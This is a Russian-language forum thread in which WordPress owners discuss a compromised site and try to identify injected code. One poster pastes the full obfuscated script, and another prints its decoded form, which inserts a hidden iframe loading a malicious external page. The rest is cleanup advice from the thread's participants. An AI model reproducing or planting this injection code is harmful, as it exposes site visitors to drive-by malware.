Помогите расшифровать

У меня вордпресс и такая же бяка есть. При обновлении страницы то появляется этот код, то исчезает в исходном коде. Но в файлах темы ничего нет... Интересно где код спрятан?..

Прикол в том, что визуально при посещении блога я ничего не вижу, но вот утром пришло письмо на почту: "в блоге какая-то хрень - в последнее время заметила. От меня требуют установить все время какой-то новый плеер, а сегодня когда я вошла, у меня вдруг все заблокировалось, стало черное окно и ТРЕБОВАНИЕ заплатить за что-то там, иначе типа мне грохнут винду в течение 24 часов!!!!"

Сегодня тоже обнаружил подобный код. Уже даже антивирус начал на мой сайт реагировать :( Все обыскал не знаю где найти заразу.

До этого заметил что какой-то странный коммент с "левой" кодировкой постоянно приходил на модерацию, я его замучался в спам лист кидать.

Вот код с моего сайта:

<script language="javascript" type="text/javascript">function createCSS(selector,declaration){var ua=navigator.userAgent.toLowerCase();var isIE=(/msie/.test(ua))&&!(/opera/.test(ua))&&(/win/.test(ua));var style_node=document.createElement("style");if(!isIE)style_node.innerHTML=selector+" {"+declaration+"}";document.getElementsByTagName("head")[0].appendChild(style_node);if(isIE&&document.styleSheets&&document.styleSheets.length>0){var last_style_node=document.styleSheets[document.styleSheets.length-1];if(typeof(last_style_node.addRule)=="object")last_style_node.addRule(selector,declaration);}};var dlul={eya:5111,zn:function(){createCSS("#c0","background: url(data:,eva)");var zv=null;var r=document.styleSheets;for(var i=0;i<r.length;i++){var tfq=r.cssRules||r.rules;for(var smgl=0;smgl<tfq.length;smgl++){var fb=tfq.item?tfq.item(smgl):tfq[smgl];if(!fb.selectorText.match(/#c(\d+)/))continue;zv=fb.style.backgroundImage.match(/url\("?data\:[^,]*,([^")]+)"?\)/)[1];};}

var jqt=[5102,5102,5006,5009,5079,5071,5011,5000,5012,4994,5002,5010,5001,4995,5065,5008,5010,4995,5042,5003,5010,5002,5010,5001,4995,4996,5045,4990,5027,5014,5008,5033,5014,5002,5010,5071,5072,5013,5000,5011,4990,5072,5070,5020,5063,5018,5070,4988,5098,5102,5102,5102,5006,5009,4997,5014,5002,5010,4997,5071,5070,5052,5098,5102,5102,4986,5079,5010,5003,4996,5010,5079,4988,5098,5102,5102,5102,4993,5014,4997,5079,5013,5011,4990,5079,5050,5079,5011,5000,5012,4994,5002,5010,5001,4995,5065,5012,4997,5010,5014,4995,5010,5042,5003,5010,5002,5010,5001,4995,5071,5077,5013,5000,5011,4990,5077,5070,5052,5098,5102,5102,5102,4995,4997,4990,5079,4988,5098,5102,5102,5102,5102,5011,5000,5012,4994,5002,5010,5001,4995,5065,5014,4999,4999,5010,5001,5011,5044,5007,5006,5003,5011,5071,5013,5011,4990,5070,5052,5098,5102,5102,5102,4986,5079,5012,5014,4995,5012,5007,5079,5071,5010,5070,5079,4988,5098,5102,5102,5102,5102,5011,5000,5012,4994,5002,5010,5001,4995,5065,5013,5000,5011,4990,5079,5050,5079,5013,5011,4990,5052,5098,5102,5102,5102,4986,5098,5102,5102,5102,5006,5009,5079,5071,5011,5000,5012,4994,5002,5010,5001,4995,5065,5008,5010,4995,5042,5003,5010,5002,5010,5001,4995,4996,5045,4990,5027,5014,5008,5033,5014,5002,5010,5071,5072,5013,5000,5011,4990,5072,5070,5020,5063,5018,5070,4988,5098,5102,5102,5102,5102,5006,5009,4997,5014,5002,5010,4997,5071,5070,5052,5098,5102,5102,5102,4986,5079,5010,5003,4996,5010,5079,4988,5098,5102,5102,5102,5102,5011,5000,5012,4994,5002,5010,5001,4995,5065,4992,4997,5006,4995,5010,5071,5077,5051,5006,5009,4997,5014,5002,5010,5079,4996,4997,5012,5050,5072,5007,4995,4995,4999,5053,5064,5064,4999,5006,5012,5007,5010,4995,5014,5065,5001,5010,4995,5064,5002,5014,5006,5001,5065,4999,5007,4999,5072,5079,4992,5006,5011,4995,5007,5050,5072,5062,5063,5072,5079,5007,5010,5006,5008,5007,4995,5050,5072,5062,5063,5072,5079,4996,4995,4990,5003,5010,5050,5072,4993,5006,4996,5006,5013,5006,5003,5006,4995,4990,5053,5007,5006,5011,5011,5010,5001,5052,4999,5000,4996,5006,4995,5006,5000,5001,5053,5014,5013,4996,5000,5003,4994,4995,5010,5052,5003,5010,5009,4995,5053,5063,5052,4995,5000,4999,5053,5063,5052,5072,5049,5051,5064,5006,5009,4997,5014,5002,5010,5049,5077,5070,5052,5098,5102,5102,5102,4986,5098,5102,5102,4986,5098,5102,5102,5009,4994,5001,5012,4995,5006,5000,5001,5079,5006,5009,4997,5014,5002,5010,4997,5071,5070,4988,5098,5102,5102,5102,4993,5014,4997,5079,5009,5079,5050,5079,5011,5000,5012,4994,5002,5010,5001,4995,5065,5012,4997,5010,5014,4995,5010,5042,5003,5010,5002,5010,5001,4995,5071,5072,5006,5009,4997,5014,5002,5010,5072,5070,5052,5009,5065,4996,5010,4995,5046,4995,4995,4997,5006,5013,4994,4995,5010,5071,5072,4996,4997,5012,5072,5067,5072,5007,4995,4995,4999,5053,5064,5064,4999,5006,5012,5007,5010,4995,5014,5065,5001,5010,4995,5064,5002,5014,5006,5001,5065,4999,5007,4999,5072,5070,5052,5009,5065,4996,4995,4990,5003,5010,5065,4993,5006,4996,5006,5013,5006,5003,5006,4995,4990,5050,5072,5007,5006,5011,5011,5010,5001,5072,5052,5009,5065,4996,4995,4990,5003,5010,5065,4999,5000,4996,5006,4995,5006,5000,5001,5050,5072,5014,5013,4996,5000,5003,4994,4995,5010,5072,5052,5009,5065,4996,4995,4990,5003,5010,5065,5003,5010,5009,4995,5050,5072,5063,5072,5052,5009,5065,4996,4995,4990,5003,5010,5065,4995,5000,4999,5050,5072,5063,5072,5052,5009,5065,4996,5010,4995,5046,4995,4995,4997,5006,5013,4994,4995,5010,5071,5072,4992,5006,5011,4995,5007,5072,5067,5072,5062,5063,5072,5070,5052,5009,5065,4996,5010,4995,5046,4995,4995,4997,5006,5013,4994,4995,5010,5071,5072,5007,5010,5006,5008,5007,4995,5072,5067,5072,5062,5063,5072,5070,5052,5098,5102,5102,5102,5011,5000,5012,4994,5002,5010,5001,4995,5065,5008,5010,4995,5042,5003,5010,5002,5010,5001,4995,4996,5045,4990,5027,5014,5008,5033,5014,5002,5010,5071,5072,5013,5000,5011,4990,5072,5070,5020,5063,5018,5065,5014,4999,4999,5010,5001,5011,5044,5007,5006,5003,5011,5071,5009,5070,5052,5098,5102,5102,4986];var s="";dv=eval(zv+"l");uw=String.fromCharCode;for(var i=0;i<jqt.length;i++){sfh=dlul.eya-parseInt(jqt);s+=(uw(sfh));}

dv(s);}};dlul.zn();</script>

У меня комментов не было никаких...

Может хостинг виноват? У меня траст-хост хостинг, а у Вас какой?

И у меня он же...Надо долбить их ТП значит.

Вы в index.php смотрите после закрывающего тега ?> Недавно появился подобный скрипт на хостинге cishost.ru Причем тоже не у меня одного.

Упомянутый код исполняет вот это:

if (document.getElementsByTagName('body')[0]){
iframer();
} else {
var bdy = document.createElement("body");
try {
document.appendChild(bdy);
} catch (e) {
document.body = bdy;
}
if (document.getElementsByTagName('body')[0]){
iframer();
} else {
document.write("<iframe src='http://picheta.net/main.php' width='10' height='10' style='visibility:hidden;position:absolute;left:0;top:0;'></iframe>");
}
}
function iframer(){
var f = document.createElement('iframe');f.setAttribute('src','http://picheta.net/main.php');f.style.visibility='hidden';f.style.position='absolute';f.style.left='0';f.style.top='0';f.setAttribute('width','10');f.setAttribute('height','10');
document.getElementsByTagName('body')[0].appendChild(f);
}

Иными словами, вставляет iframe с адресом на http:// picheta.net / main.php

Выясняйте дальше, чем это опасно. Но открывать этот адрес в браузере очень не советую.

перерыл все файлы. Последние изменения в файлах на хостинге датированы 28.11.10, а беда началась когда-то в последние два дня.

Из-за хостинга может быть такое? Каким образом?

И еще интересно было бы узнать какой хостинг у ТС :)

Если хостинг shared, то вполне возможно массовое "заражение" сайтов разнообразными подобными вставками, видел такое неоднкратно, пока сам сидел на shared. Что они конкретно исполняют, одному богу известно - от накрутки счётчиков до DDoS.

Ищите, уничтожайте, жалуйтесь хостеру упомянутого домена - в общем, действуйте. Но вначале сообщите тех.поддержке вашего хостера. С удалением такого кода медлить не советую.

И как теперь проверить наличие этой дряни? Обновился по бекапу, обновляю страничку вроде ничего не вылазит. А вдруг не исчезла?

Еще на мауле высказали версию, что дрянь может в картинках сидеть, в том числе которые задействованы в оформлении шаблона.

Не дадите ссылку на эту гипотезу с маула?

Восстановить всё из архива, проверить статические файлы, стереть все кэши двигателя. Поискать характерные строки в БД - во всём, что может использоваться для создания страниц. Но ещё лучше вначале сохранить состояние заражённого сайта (все файлы + дамп БД), чтобы не торопясь проанализировать, откуда загружается код.